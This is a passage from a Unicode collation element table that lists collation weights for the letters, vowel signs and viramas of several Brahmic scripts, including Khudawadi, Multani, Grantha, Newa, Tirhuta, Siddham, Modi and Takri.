; [.2AAD.0020.0002] # KHUDAWADI LETTER TTHA -112C8 ; [.2AAE.0020.0002] # KHUDAWADI LETTER DDA -112C9 ; [.2AAF.0020.0002] # KHUDAWADI LETTER DDDA -112CA ; [.2AB0.0020.0002] # KHUDAWADI LETTER RRA -112CB ; [.2AB1.0020.0002] # KHUDAWADI LETTER DDHA -112CC ; [.2AB2.0020.0002] # KHUDAWADI LETTER NNA -112CD ; [.2AB3.0020.0002] # KHUDAWADI LETTER TA -112CE ; [.2AB4.0020.0002] # KHUDAWADI LETTER THA -112CF ; [.2AB5.0020.0002] # KHUDAWADI LETTER DA -112D0 ; [.2AB6.0020.0002] # KHUDAWADI LETTER DHA -112D1 ; [.2AB7.0020.0002] # KHUDAWADI LETTER NA -112D2 ; [.2AB8.0020.0002] # KHUDAWADI LETTER PA -112D3 ; [.2AB9.0020.0002] # KHUDAWADI LETTER PHA -112D4 ; [.2ABA.0020.0002] # KHUDAWADI LETTER BA -112D5 ; [.2ABB.0020.0002] # KHUDAWADI LETTER BBA -112D6 ; [.2ABC.0020.0002] # KHUDAWADI LETTER BHA -112D7 ; [.2ABD.0020.0002] # KHUDAWADI LETTER MA -112D8 ; [.2ABE.0020.0002] # KHUDAWADI LETTER YA -112D9 ; [.2ABF.0020.0002] # KHUDAWADI LETTER RA -112DA ; [.2AC0.0020.0002] # KHUDAWADI LETTER LA -112DB ; [.2AC1.0020.0002] # KHUDAWADI LETTER VA -112DC ; [.2AC2.0020.0002] # KHUDAWADI LETTER SHA -112DD ; [.2AC3.0020.0002] # KHUDAWADI LETTER SA -112DE ; [.2AC4.0020.0002] # KHUDAWADI LETTER HA -112E0 ; [.2AC5.0020.0002] # KHUDAWADI VOWEL SIGN AA -112E1 ; [.2AC6.0020.0002] # KHUDAWADI VOWEL SIGN I -112E2 ; [.2AC7.0020.0002] # KHUDAWADI VOWEL SIGN II -112E3 ; [.2AC8.0020.0002] # KHUDAWADI VOWEL SIGN U -112E4 ; [.2AC9.0020.0002] # KHUDAWADI VOWEL SIGN UU -112E5 ; [.2ACA.0020.0002] # KHUDAWADI VOWEL SIGN E -112E6 ; [.2ACB.0020.0002] # KHUDAWADI VOWEL SIGN AI -112E7 ; [.2ACC.0020.0002] # KHUDAWADI VOWEL SIGN O -112E8 ; [.2ACD.0020.0002] # KHUDAWADI VOWEL SIGN AU -112EA ; [.2ACE.0020.0002] # KHUDAWADI SIGN VIRAMA -11280 ; [.2ACF.0020.0002] # MULTANI LETTER A -11281 ; [.2AD0.0020.0002] # MULTANI LETTER I -11282 ; [.2AD1.0020.0002] # MULTANI LETTER U -11283 ; [.2AD2.0020.0002] # MULTANI LETTER E -112A5 ; [.2AD3.0020.0002] # MULTANI LETTER SA -112A6 ; [.2AD4.0020.0002] # MULTANI LETTER HA -11284 ; [.2AD5.0020.0002] # MULTANI LETTER KA -11285 ; [.2AD6.0020.0002] # MULTANI LETTER KHA -11286 ; [.2AD7.0020.0002] # MULTANI LETTER GA -11288 ; [.2AD8.0020.0002] # MULTANI LETTER GHA -1128A ; [.2AD9.0020.0002] # MULTANI LETTER CA -1128B ; [.2ADA.0020.0002] # MULTANI LETTER CHA -1128C ; [.2ADB.0020.0002] # MULTANI LETTER JA -1128D ; [.2ADC.0020.0002] # MULTANI LETTER JJA -1128F ; [.2ADD.0020.0002] # MULTANI LETTER NYA -11290 ; [.2ADE.0020.0002] # MULTANI LETTER TTA -11291 ; [.2ADF.0020.0002] # MULTANI LETTER TTHA -11292 ; [.2AE0.0020.0002] # MULTANI LETTER DDA -11293 ; [.2AE1.0020.0002] # MULTANI LETTER DDDA -11294 ; [.2AE2.0020.0002] # MULTANI LETTER DDHA -11295 ; [.2AE3.0020.0002] # MULTANI LETTER NNA -11296 ; [.2AE4.0020.0002] # MULTANI LETTER TA -11297 ; [.2AE5.0020.0002] # MULTANI LETTER THA -11298 ; [.2AE6.0020.0002] # MULTANI LETTER DA -11299 ; [.2AE7.0020.0002] # MULTANI LETTER DHA -1129A ; [.2AE8.0020.0002] # MULTANI LETTER NA -1129B ; [.2AE9.0020.0002] # MULTANI LETTER PA -1129C ; [.2AEA.0020.0002] # MULTANI LETTER PHA -1129D ; [.2AEB.0020.0002] # MULTANI LETTER BA -1129F ; [.2AEC.0020.0002] # MULTANI LETTER BHA -112A0 ; [.2AED.0020.0002] # MULTANI LETTER MA -112A1 ; [.2AEE.0020.0002] # MULTANI LETTER YA -112A2 ; [.2AEF.0020.0002] # MULTANI LETTER RA -112A3 ; [.2AF0.0020.0002] # MULTANI LETTER LA -112A4 ; [.2AF1.0020.0002] # MULTANI LETTER VA -112A7 ; [.2AF2.0020.0002] # MULTANI LETTER RRA -112A8 ; [.2AF3.0020.0002] # MULTANI LETTER RHA -11350 ; [.2AF4.0020.0002] # GRANTHA OM -11305 ; [.2AF5.0020.0002] # GRANTHA LETTER A -11306 ; [.2AF6.0020.0002] # GRANTHA LETTER AA -11307 ; [.2AF7.0020.0002] # GRANTHA LETTER I -11308 ; [.2AF8.0020.0002] # GRANTHA LETTER II -11309 ; [.2AF9.0020.0002] # GRANTHA LETTER U -1130A ; [.2AFA.0020.0002] # GRANTHA LETTER UU -1130B ; [.2AFB.0020.0002] # GRANTHA LETTER VOCALIC R -11360 ; [.2AFC.0020.0002] # GRANTHA LETTER VOCALIC RR -1130C ; [.2AFD.0020.0002] # GRANTHA LETTER VOCALIC L -11361 ; [.2AFE.0020.0002] # GRANTHA LETTER VOCALIC LL -1130F ; [.2AFF.0020.0002] # GRANTHA LETTER EE -11310 ; [.2B00.0020.0002] # GRANTHA LETTER AI -11313 ; [.2B01.0020.0002] # GRANTHA LETTER OO -11314 ; [.2B02.0020.0002] # GRANTHA LETTER AU -11315 ; [.2B03.0020.0002] # GRANTHA LETTER KA -11316 ; [.2B04.0020.0002] # GRANTHA LETTER KHA -11317 ; [.2B05.0020.0002] # GRANTHA LETTER GA -11318 ; [.2B06.0020.0002] # GRANTHA LETTER GHA -11319 ; [.2B07.0020.0002] # GRANTHA LETTER NGA -1131A ; [.2B08.0020.0002] # GRANTHA LETTER CA -1131B ; [.2B09.0020.0002] # GRANTHA LETTER CHA -1131C ; [.2B0A.0020.0002] # GRANTHA LETTER JA -1131D ; [.2B0B.0020.0002] # GRANTHA LETTER JHA -1131E ; [.2B0C.0020.0002] # GRANTHA LETTER NYA -1131F ; [.2B0D.0020.0002] # GRANTHA LETTER TTA -11320 ; [.2B0E.0020.0002] # GRANTHA LETTER TTHA -11321 ; [.2B0F.0020.0002] # GRANTHA LETTER DDA -11322 ; [.2B10.0020.0002] # GRANTHA LETTER DDHA -11323 ; [.2B11.0020.0002] # GRANTHA LETTER NNA -11324 ; [.2B12.0020.0002] # GRANTHA LETTER TA -11325 ; [.2B13.0020.0002] # GRANTHA LETTER THA -11326 ; [.2B14.0020.0002] # GRANTHA LETTER DA -11327 ; [.2B15.0020.0002] # GRANTHA LETTER DHA -11328 ; [.2B16.0020.0002] # GRANTHA LETTER NA -1132A ; [.2B17.0020.0002] # GRANTHA LETTER PA -1132B ; [.2B18.0020.0002] # GRANTHA LETTER PHA -1132C ; [.2B19.0020.0002] # GRANTHA LETTER BA -1132D ; [.2B1A.0020.0002] # GRANTHA LETTER BHA -1132E ; [.2B1B.0020.0002] # GRANTHA LETTER MA -1132F ; [.2B1C.0020.0002] # GRANTHA LETTER YA -11330 ; [.2B1D.0020.0002] # GRANTHA LETTER RA -11332 ; [.2B1E.0020.0002] # GRANTHA LETTER LA -11333 ; [.2B1F.0020.0002] # GRANTHA LETTER LLA -11335 ; [.2B20.0020.0002] # GRANTHA LETTER VA -11336 ; [.2B21.0020.0002] # GRANTHA LETTER SHA -11337 ; [.2B22.0020.0002] # GRANTHA LETTER SSA -11338 ; [.2B23.0020.0002] # GRANTHA LETTER SA -11339 ; [.2B24.0020.0002] # GRANTHA LETTER HA -1133D ; [.2B25.0020.0002] # GRANTHA SIGN AVAGRAHA -1135E ; [.2B26.0020.0002] # GRANTHA LETTER VEDIC ANUSVARA -1135F ; [.2B27.0020.0002] # GRANTHA LETTER VEDIC DOUBLE ANUSVARA -1133E ; [.2B28.0020.0002] # GRANTHA VOWEL SIGN AA -1133F ; [.2B29.0020.0002] # GRANTHA VOWEL SIGN I -11340 ; [.2B2A.0020.0002] # GRANTHA VOWEL SIGN II -11341 ; [.2B2B.0020.0002] # GRANTHA VOWEL SIGN U -11342 ; [.2B2C.0020.0002] # GRANTHA VOWEL SIGN UU -11343 ; [.2B2D.0020.0002] # GRANTHA VOWEL SIGN VOCALIC R -11344 ; [.2B2E.0020.0002] # GRANTHA VOWEL SIGN VOCALIC RR -11362 ; [.2B2F.0020.0002] # GRANTHA VOWEL SIGN VOCALIC L -11363 ; [.2B30.0020.0002] # GRANTHA VOWEL SIGN VOCALIC LL -11347 ; [.2B31.0020.0002] # GRANTHA VOWEL SIGN EE -11348 ; [.2B32.0020.0002] # GRANTHA VOWEL SIGN AI -1134B ; [.2B33.0020.0002] # GRANTHA VOWEL SIGN OO -11347 1133E ; [.2B33.0020.0002] # GRANTHA VOWEL SIGN OO -1134C ; [.2B34.0020.0002] # GRANTHA VOWEL SIGN AU -11347 11357 ; [.2B34.0020.0002] # GRANTHA VOWEL SIGN AU -1134D ; [.2B35.0020.0002] # GRANTHA SIGN VIRAMA -11357 ; [.2B36.0020.0002] # GRANTHA AU LENGTH MARK -1135D ; [.2B37.0020.0002] # GRANTHA SIGN PLUTA -11449 ; [.2B38.0020.0002] # NEWA OM -1144A ; [.2B39.0020.0002] # NEWA SIDDHI -11400 ; [.2B3A.0020.0002] # NEWA LETTER A -11401 ; [.2B3B.0020.0002] # NEWA LETTER AA -11402 ; [.2B3C.0020.0002] # NEWA LETTER I -11403 ; [.2B3D.0020.0002] # NEWA LETTER II -11404 ; [.2B3E.0020.0002] # NEWA LETTER U -11405 ; [.2B3F.0020.0002] # NEWA LETTER UU -11406 ; [.2B40.0020.0002] # NEWA LETTER VOCALIC R -11407 ; [.2B41.0020.0002] # NEWA LETTER VOCALIC RR -11408 ; [.2B42.0020.0002] # NEWA LETTER VOCALIC L -11409 ; [.2B43.0020.0002] # NEWA LETTER VOCALIC LL -1140A ; [.2B44.0020.0002] # NEWA LETTER E -1140B ; [.2B45.0020.0002] # NEWA LETTER AI -1140C ; [.2B46.0020.0002] # NEWA LETTER O -1140D ; [.2B47.0020.0002] # NEWA LETTER AU -1140E ; [.2B48.0020.0002] # NEWA LETTER KA -1140F ; [.2B49.0020.0002] # NEWA LETTER KHA -11410 ; [.2B4A.0020.0002] # NEWA LETTER GA -11411 ; [.2B4B.0020.0002] # NEWA LETTER GHA -11412 ; [.2B4C.0020.0002] # NEWA LETTER NGA -11413 ; [.2B4D.0020.0002] # NEWA LETTER NGHA -11414 ; [.2B4E.0020.0002] # NEWA LETTER CA -11415 ; [.2B4F.0020.0002] # NEWA LETTER CHA -11416 ; [.2B50.0020.0002] # NEWA LETTER JA -11417 ; [.2B51.0020.0002] # NEWA LETTER JHA -11418 ; [.2B52.0020.0002] # NEWA LETTER NYA -11419 ; [.2B53.0020.0002] # NEWA LETTER NYHA -1141A ; [.2B54.0020.0002] # NEWA LETTER TTA -1141B ; [.2B55.0020.0002] # NEWA LETTER TTHA -1141C ; [.2B56.0020.0002] # NEWA LETTER DDA -1141D ; [.2B57.0020.0002] # NEWA LETTER DDHA -1141E ; [.2B58.0020.0002] # NEWA LETTER NNA -1141F ; [.2B59.0020.0002] # NEWA LETTER TA -11420 ; [.2B5A.0020.0002] # NEWA LETTER THA -11421 ; [.2B5B.0020.0002] # NEWA LETTER DA -11422 ; [.2B5C.0020.0002] # NEWA LETTER DHA -11423 ; [.2B5D.0020.0002] # NEWA LETTER NA -11424 ; [.2B5E.0020.0002] # NEWA LETTER NHA -11425 ; [.2B5F.0020.0002] # NEWA LETTER PA -11426 ; [.2B60.0020.0002] # NEWA LETTER PHA -11427 ; [.2B61.0020.0002] # NEWA LETTER BA -11428 ; [.2B62.0020.0002] # NEWA LETTER BHA -11429 ; [.2B63.0020.0002] # NEWA LETTER MA -1142A ; [.2B64.0020.0002] # NEWA LETTER MHA -1142B ; [.2B65.0020.0002] # NEWA LETTER YA -1142C ; [.2B66.0020.0002] # NEWA LETTER RA -1142D ; [.2B67.0020.0002] # NEWA LETTER RHA -1142E ; [.2B68.0020.0002] # NEWA LETTER LA -1142F ; [.2B69.0020.0002] # NEWA LETTER LHA -11430 ; [.2B6A.0020.0002] # NEWA LETTER WA -11431 ; [.2B6B.0020.0002] # NEWA LETTER SHA -11432 ; [.2B6C.0020.0002] # NEWA LETTER SSA -11433 ; [.2B6D.0020.0002] # NEWA LETTER SA -11434 ; [.2B6E.0020.0002] # NEWA LETTER HA -11447 ; [.2B6F.0020.0002] # NEWA SIGN AVAGRAHA -11448 ; [.2B70.0020.0002] # NEWA SIGN FINAL ANUSVARA -11435 ; [.2B71.0020.0002] # NEWA VOWEL SIGN AA -11436 ; [.2B72.0020.0002] # NEWA VOWEL SIGN I -11437 ; [.2B73.0020.0002] # NEWA VOWEL SIGN II -11438 ; [.2B74.0020.0002] # NEWA VOWEL SIGN U -11439 ; [.2B75.0020.0002] # NEWA VOWEL SIGN UU -1143A ; [.2B76.0020.0002] # NEWA VOWEL SIGN VOCALIC R -1143B ; [.2B77.0020.0002] # NEWA VOWEL SIGN VOCALIC RR -1143C ; [.2B78.0020.0002] # NEWA VOWEL SIGN VOCALIC L -1143D ; [.2B79.0020.0002] # NEWA VOWEL SIGN VOCALIC LL -1143E ; [.2B7A.0020.0002] # NEWA VOWEL SIGN E -1143F ; [.2B7B.0020.0002] # NEWA VOWEL SIGN AI -11440 ; [.2B7C.0020.0002] # NEWA VOWEL SIGN O -11441 ; [.2B7D.0020.0002] # NEWA VOWEL SIGN AU -11442 ; [.2B7E.0020.0002] # NEWA SIGN VIRAMA -114C7 ; [.2B7F.0020.0002] # TIRHUTA OM -11480 ; [.2B80.0020.0002] # TIRHUTA ANJI -11481 ; [.2B81.0020.0002] # TIRHUTA LETTER A -11482 ; [.2B82.0020.0002] # TIRHUTA LETTER AA -11483 ; [.2B83.0020.0002] # TIRHUTA LETTER I -11484 ; [.2B84.0020.0002] # TIRHUTA LETTER II -11485 ; [.2B85.0020.0002] # TIRHUTA LETTER U -11486 ; [.2B86.0020.0002] # TIRHUTA LETTER UU -11487 ; [.2B87.0020.0002] # TIRHUTA LETTER VOCALIC R -11488 ; [.2B88.0020.0002] # TIRHUTA LETTER VOCALIC RR -11489 ; [.2B89.0020.0002] # TIRHUTA LETTER VOCALIC L -1148A ; [.2B8A.0020.0002] # TIRHUTA LETTER VOCALIC LL -1148B ; [.2B8B.0020.0002] # TIRHUTA LETTER E -1148C ; [.2B8C.0020.0002] # TIRHUTA LETTER AI -1148D ; [.2B8D.0020.0002] # TIRHUTA LETTER O -1148E ; [.2B8E.0020.0002] # TIRHUTA LETTER AU -1148F ; [.2B8F.0020.0002] # TIRHUTA LETTER KA -11490 ; [.2B90.0020.0002] # TIRHUTA LETTER KHA -11491 ; [.2B91.0020.0002] # TIRHUTA LETTER GA -11492 ; [.2B92.0020.0002] # TIRHUTA LETTER GHA -11493 ; [.2B93.0020.0002] # TIRHUTA LETTER NGA -11494 ; [.2B94.0020.0002] # TIRHUTA LETTER CA -11495 ; [.2B95.0020.0002] # TIRHUTA LETTER CHA -11496 ; [.2B96.0020.0002] # TIRHUTA LETTER JA -11497 ; [.2B97.0020.0002] # TIRHUTA LETTER JHA -11498 ; [.2B98.0020.0002] # TIRHUTA LETTER NYA -11499 ; [.2B99.0020.0002] # TIRHUTA LETTER TTA -1149A ; [.2B9A.0020.0002] # TIRHUTA LETTER TTHA -1149B ; [.2B9B.0020.0002] # TIRHUTA LETTER DDA -1149C ; [.2B9C.0020.0002] # TIRHUTA LETTER DDHA -1149D ; [.2B9D.0020.0002] # TIRHUTA LETTER NNA -1149E ; [.2B9E.0020.0002] # TIRHUTA LETTER TA -1149F ; [.2B9F.0020.0002] # TIRHUTA LETTER THA -114A0 ; [.2BA0.0020.0002] # TIRHUTA LETTER DA -114A1 ; [.2BA1.0020.0002] # TIRHUTA LETTER DHA -114A2 ; [.2BA2.0020.0002] # TIRHUTA LETTER NA -114A3 ; [.2BA3.0020.0002] # TIRHUTA LETTER PA -114A4 ; [.2BA4.0020.0002] # TIRHUTA LETTER PHA -114A5 ; [.2BA5.0020.0002] # TIRHUTA LETTER BA -114A6 ; [.2BA6.0020.0002] # TIRHUTA LETTER BHA -114A7 ; [.2BA7.0020.0002] # TIRHUTA LETTER MA -114A8 ; [.2BA8.0020.0002] # TIRHUTA LETTER YA -114A9 ; [.2BA9.0020.0002] # TIRHUTA LETTER RA -114AA ; [.2BAA.0020.0002] # TIRHUTA LETTER LA -114AB ; [.2BAB.0020.0002] # TIRHUTA LETTER VA -114AC ; [.2BAC.0020.0002] # TIRHUTA LETTER SHA -114AD ; [.2BAD.0020.0002] # TIRHUTA LETTER SSA -114AE ; [.2BAE.0020.0002] # TIRHUTA LETTER SA -114AF ; [.2BAF.0020.0002] # TIRHUTA LETTER HA -114C4 ; [.2BB0.0020.0002] # TIRHUTA SIGN AVAGRAHA -114C5 ; [.2BB1.0020.0002] # TIRHUTA GVANG -114B0 ; [.2BB2.0020.0002] # TIRHUTA VOWEL SIGN AA -114B1 ; [.2BB3.0020.0002] # TIRHUTA VOWEL SIGN I -114B2 ; [.2BB4.0020.0002] # TIRHUTA VOWEL SIGN II -114B3 ; [.2BB5.0020.0002] # TIRHUTA VOWEL SIGN U -114B4 ; [.2BB6.0020.0002] # TIRHUTA VOWEL SIGN UU -114B5 ; [.2BB7.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC R -114B6 ; [.2BB8.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC RR -114B7 ; [.2BB9.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC L -114B8 ; [.2BBA.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC LL -114B9 ; [.2BBB.0020.0002] # TIRHUTA VOWEL SIGN E -114BA ; [.2BBC.0020.0002] # TIRHUTA VOWEL SIGN SHORT E -114BB ; [.2BBD.0020.0002] # TIRHUTA VOWEL SIGN AI -114B9 114BA ; [.2BBD.0020.0002] # TIRHUTA VOWEL SIGN AI -114BC ; [.2BBE.0020.0002] # TIRHUTA VOWEL SIGN O -114B9 114B0 ; [.2BBE.0020.0002] # TIRHUTA VOWEL SIGN O -114BD ; [.2BBF.0020.0002] # TIRHUTA VOWEL SIGN SHORT O -114BE ; [.2BC0.0020.0002] # TIRHUTA VOWEL SIGN AU -114B9 114BD ; [.2BC0.0020.0002] # TIRHUTA VOWEL SIGN AU -114C2 ; [.2BC1.0020.0002] # TIRHUTA SIGN VIRAMA -11580 ; [.2BC2.0020.0002] # SIDDHAM LETTER A -11581 ; [.2BC3.0020.0002] # SIDDHAM LETTER AA -11582 ; [.2BC4.0020.0002] # SIDDHAM LETTER I -115D8 ; [.2BC4.0020.0004][.0000.0110.0004] # SIDDHAM LETTER THREE-CIRCLE ALTERNATE I -115D9 ; [.2BC4.0020.0004][.0000.0111.0004] # SIDDHAM LETTER TWO-CIRCLE ALTERNATE I -11583 ; [.2BC5.0020.0002] # SIDDHAM LETTER II -115DA ; [.2BC5.0020.0004][.0000.0110.0004] # SIDDHAM LETTER TWO-CIRCLE ALTERNATE II -11584 ; [.2BC6.0020.0002] # SIDDHAM LETTER U -115DB ; [.2BC6.0020.0004][.0000.0110.0004] # SIDDHAM LETTER ALTERNATE U -11585 ; [.2BC7.0020.0002] # SIDDHAM LETTER UU -11586 ; [.2BC8.0020.0002] # SIDDHAM LETTER VOCALIC R -11587 ; [.2BC9.0020.0002] # SIDDHAM LETTER VOCALIC RR -11588 ; [.2BCA.0020.0002] # SIDDHAM LETTER VOCALIC L -11589 ; [.2BCB.0020.0002] # SIDDHAM LETTER VOCALIC LL -1158A ; [.2BCC.0020.0002] # SIDDHAM LETTER E -1158B ; [.2BCD.0020.0002] # SIDDHAM LETTER AI -1158C ; [.2BCE.0020.0002] # SIDDHAM LETTER O -1158D ; [.2BCF.0020.0002] # SIDDHAM LETTER AU -1158E ; [.2BD0.0020.0002] # SIDDHAM LETTER KA -1158F ; [.2BD1.0020.0002] # SIDDHAM LETTER KHA -11590 ; [.2BD2.0020.0002] # SIDDHAM LETTER GA -11591 ; [.2BD3.0020.0002] # SIDDHAM LETTER GHA -11592 ; [.2BD4.0020.0002] # SIDDHAM LETTER NGA -11593 ; [.2BD5.0020.0002] # SIDDHAM LETTER CA -11594 ; [.2BD6.0020.0002] # SIDDHAM LETTER CHA -11595 ; [.2BD7.0020.0002] # SIDDHAM LETTER JA -11596 ; [.2BD8.0020.0002] # SIDDHAM LETTER JHA -11597 ; [.2BD9.0020.0002] # SIDDHAM LETTER NYA -11598 ; [.2BDA.0020.0002] # SIDDHAM LETTER TTA -11599 ; [.2BDB.0020.0002] # SIDDHAM LETTER TTHA -1159A ; [.2BDC.0020.0002] # SIDDHAM LETTER DDA -1159B ; [.2BDD.0020.0002] # SIDDHAM LETTER DDHA -1159C ; [.2BDE.0020.0002] # SIDDHAM LETTER NNA -1159D ; [.2BDF.0020.0002] # SIDDHAM LETTER TA -1159E ; [.2BE0.0020.0002] # SIDDHAM LETTER THA -1159F ; [.2BE1.0020.0002] # SIDDHAM LETTER DA -115A0 ; [.2BE2.0020.0002] # SIDDHAM LETTER DHA -115A1 ; [.2BE3.0020.0002] # SIDDHAM LETTER NA -115A2 ; [.2BE4.0020.0002] # SIDDHAM LETTER PA -115A3 ; [.2BE5.0020.0002] # SIDDHAM LETTER PHA -115A4 ; [.2BE6.0020.0002] # SIDDHAM LETTER BA -115A5 ; [.2BE7.0020.0002] # SIDDHAM LETTER BHA -115A6 ; [.2BE8.0020.0002] # SIDDHAM LETTER MA -115A7 ; [.2BE9.0020.0002] # SIDDHAM LETTER YA -115A8 ; [.2BEA.0020.0002] # SIDDHAM LETTER RA -115A9 ; [.2BEB.0020.0002] # SIDDHAM LETTER LA -115AA ; [.2BEC.0020.0002] # SIDDHAM LETTER VA -115AB ; [.2BED.0020.0002] # SIDDHAM LETTER SHA -115AC ; [.2BEE.0020.0002] # SIDDHAM LETTER SSA -115AD ; [.2BEF.0020.0002] # SIDDHAM LETTER SA -115AE ; [.2BF0.0020.0002] # SIDDHAM LETTER HA -115AF ; [.2BF1.0020.0002] # SIDDHAM VOWEL SIGN AA -115B0 ; [.2BF2.0020.0002] # SIDDHAM VOWEL SIGN I -115B1 ; [.2BF3.0020.0002] # SIDDHAM VOWEL SIGN II -115B2 ; [.2BF4.0020.0002] # SIDDHAM VOWEL SIGN U -115DC ; [.2BF4.0020.0004][.0000.0110.0004] # SIDDHAM VOWEL SIGN ALTERNATE U -115B3 ; [.2BF5.0020.0002] # SIDDHAM VOWEL SIGN UU -115DD ; [.2BF5.0020.0004][.0000.0110.0004] # SIDDHAM VOWEL SIGN ALTERNATE UU -115B4 ; [.2BF6.0020.0002] # SIDDHAM VOWEL SIGN VOCALIC R -115B5 ; [.2BF7.0020.0002] # SIDDHAM VOWEL SIGN VOCALIC RR -115B8 ; [.2BF8.0020.0002] # SIDDHAM VOWEL SIGN E -115B9 ; [.2BF9.0020.0002] # SIDDHAM VOWEL SIGN AI -115BA ; [.2BFA.0020.0002] # SIDDHAM VOWEL SIGN O -115B8 115AF ; [.2BFA.0020.0002] # SIDDHAM VOWEL SIGN O -115BB ; [.2BFB.0020.0002] # SIDDHAM VOWEL SIGN AU -115B9 115AF ; [.2BFB.0020.0002] # SIDDHAM VOWEL SIGN AU -115BF ; [.2BFC.0020.0002] # SIDDHAM SIGN VIRAMA -11600 ; [.2BFD.0020.0002] # MODI LETTER A -11601 ; [.2BFE.0020.0002] # MODI LETTER AA -11602 ; [.2BFF.0020.0002] # MODI LETTER I -11603 ; [.2C00.0020.0002] # MODI LETTER II -11604 ; [.2C01.0020.0002] # MODI LETTER U -11605 ; [.2C02.0020.0002] # MODI LETTER UU -11606 ; [.2C03.0020.0002] # MODI LETTER VOCALIC R -11607 ; [.2C04.0020.0002] # MODI LETTER VOCALIC RR -11608 ; [.2C05.0020.0002] # MODI LETTER VOCALIC L -11609 ; [.2C06.0020.0002] # MODI LETTER VOCALIC LL -1160A ; [.2C07.0020.0002] # MODI LETTER E -1160B ; [.2C08.0020.0002] # MODI LETTER AI -1160C ; [.2C09.0020.0002] # MODI LETTER O -1160D ; [.2C0A.0020.0002] # MODI LETTER AU -1160E ; [.2C0B.0020.0002] # MODI LETTER KA -1160F ; [.2C0C.0020.0002] # MODI LETTER KHA -11610 ; [.2C0D.0020.0002] # MODI LETTER GA -11611 ; [.2C0E.0020.0002] # MODI LETTER GHA -11612 ; [.2C0F.0020.0002] # MODI LETTER NGA -11613 ; [.2C10.0020.0002] # MODI LETTER CA -11614 ; [.2C11.0020.0002] # MODI LETTER CHA -11615 ; [.2C12.0020.0002] # MODI LETTER JA -11616 ; [.2C13.0020.0002] # MODI LETTER JHA -11617 ; [.2C14.0020.0002] # MODI LETTER NYA -11618 ; [.2C15.0020.0002] # MODI LETTER TTA -11619 ; [.2C16.0020.0002] # MODI LETTER TTHA -1161A ; [.2C17.0020.0002] # MODI LETTER DDA -1161B ; [.2C18.0020.0002] # MODI LETTER DDHA -1161C ; [.2C19.0020.0002] # MODI LETTER NNA -1161D ; [.2C1A.0020.0002] # MODI LETTER TA -1161E ; [.2C1B.0020.0002] # MODI LETTER THA -1161F ; [.2C1C.0020.0002] # MODI LETTER DA -11620 ; [.2C1D.0020.0002] # MODI LETTER DHA -11621 ; [.2C1E.0020.0002] # MODI LETTER NA -11622 ; [.2C1F.0020.0002] # MODI LETTER PA -11623 ; [.2C20.0020.0002] # MODI LETTER PHA -11624 ; [.2C21.0020.0002] # MODI LETTER BA -11625 ; [.2C22.0020.0002] # MODI LETTER BHA -11626 ; [.2C23.0020.0002] # MODI LETTER MA -11627 ; [.2C24.0020.0002] # MODI LETTER YA -11628 ; [.2C25.0020.0002] # MODI LETTER RA -11629 ; [.2C26.0020.0002] # MODI LETTER LA -1162A ; [.2C27.0020.0002] # MODI LETTER VA -1162B ; [.2C28.0020.0002] # MODI LETTER SHA -1162C ; [.2C29.0020.0002] # MODI LETTER SSA -1162D ; [.2C2A.0020.0002] # MODI LETTER SA -1162E ; [.2C2B.0020.0002] # MODI LETTER HA -1162F ; [.2C2C.0020.0002] # MODI LETTER LLA -11630 ; [.2C2D.0020.0002] # MODI VOWEL SIGN AA -11631 ; [.2C2E.0020.0002] # MODI VOWEL SIGN I -11632 ; [.2C2F.0020.0002] # MODI VOWEL SIGN II -11633 ; [.2C30.0020.0002] # MODI VOWEL SIGN U -11634 ; [.2C31.0020.0002] # MODI VOWEL SIGN UU -11635 ; [.2C32.0020.0002] # MODI VOWEL SIGN VOCALIC R -11636 ; [.2C33.0020.0002] # MODI VOWEL SIGN VOCALIC RR -11637 ; [.2C34.0020.0002] # MODI VOWEL SIGN VOCALIC L -11638 ; [.2C35.0020.0002] # MODI VOWEL SIGN VOCALIC LL -11639 ; [.2C36.0020.0002] # MODI VOWEL SIGN E -1163A ; [.2C37.0020.0002] # MODI VOWEL SIGN AI -1163B ; [.2C38.0020.0002] # MODI VOWEL SIGN O -1163C ; [.2C39.0020.0002] # MODI VOWEL SIGN AU -1163F ; [.2C3A.0020.0002] # MODI SIGN VIRAMA -11644 ; [.2C3B.0020.0002] # MODI SIGN HUVA -11680 ; [.2C3C.0020.0002] # TAKRI LETTER A -11681 ; [.2C3D.0020.0002] # TAKRI LETTER AA -11682 ; [.2C3E.0020.0002] # TAKRI LETTER I -11683 ; [.2C3F.0020.0002] # TAKRI LETTER II -11684 ; [.2C40.0020.0002] # TAKRI LETTER U -11685 ; [.2C41.0020.0002] # TAKRI LETTER UU -11686 ; [.2C42.0020.0002] # TAKRI LETTER E -11687 ; [.2C43.0020.0002] # TAKRI LETTER AI -11688 ; [.2C44.0020.0002] # TAKRI LETTER O -11689 ; [.2C45.0020.0002] # TAKRI LETTER AU -116A8 ; [.2C46.0020.0002] # TAKRI LETTER SA -116A7 ; [.2C47.0020.0002] # TAKRI LETTER SHA -116A9 ; [.2C48.0020.0002] # TAKRI LETTER HA -1168A ; [.2C49.0020.0002] # TAKRI LETTER KA -1168B ; [.2C4A.0020.0002] # TAKRI LETTER KHA -1168C ; [.2C4B.0020.0002] # TAKRI LETTER GA -1168D ; [.2C4C.0020.0002] # TAKRI LETTER GHA -1168E ; [.2C4D.0020.0002] # TAKRI LETTER NGA -1168F ; [.2C4E.0020.0002] # TAKRI LETTER CA -11690 ; [.2C4F.0020.0002] # TAKRI LETTER CHA -11691 ; [.2C50.0020.0002] # TAKRI LETTER JA -11692 ; [.2C51.0020.0002] # TAKRI LETTER JHA -11693 ; [.2C52.0020.0002] # TAKRI LETTER NYA -11694 ; [.2C53.0020.0002] # TAKRI LETTER TTA -11695 ; [.2C54.0020.0002] # TAKRI LETTER TTHA -11696 ; [.2C55.0020.0002] # TAKRI LETTER DDA -11697 ; [.2C56.0020.0002] # TAKRI LETTER DDHA -11698 ; [.2C57.0020.0002] # TAKRI LETTER NNA -11699 ; [.2C58.0020.0002] # TAKRI LETTER TA -1169A ; [.2C59.0020.0002] # TAKRI LETTER THA -1169B ; [.2C5A.0020.0002] # TAKRI LETTER DA -1169C ; [.2C5B.0020.0002] # TAKRI LETTER DHA -1169D ; [.2C5C.0020.0002] # TAKRI LETTER NA -1169E ; [.2C5D.0020.0002] # TAKRI LETTER PA -1169F ; [.2C5E.0020.0002] # TAKRI LETTER PHA -116A0 ; [.2C5F.0020.0002] # TAKRI LETTER BA -116A1 ; 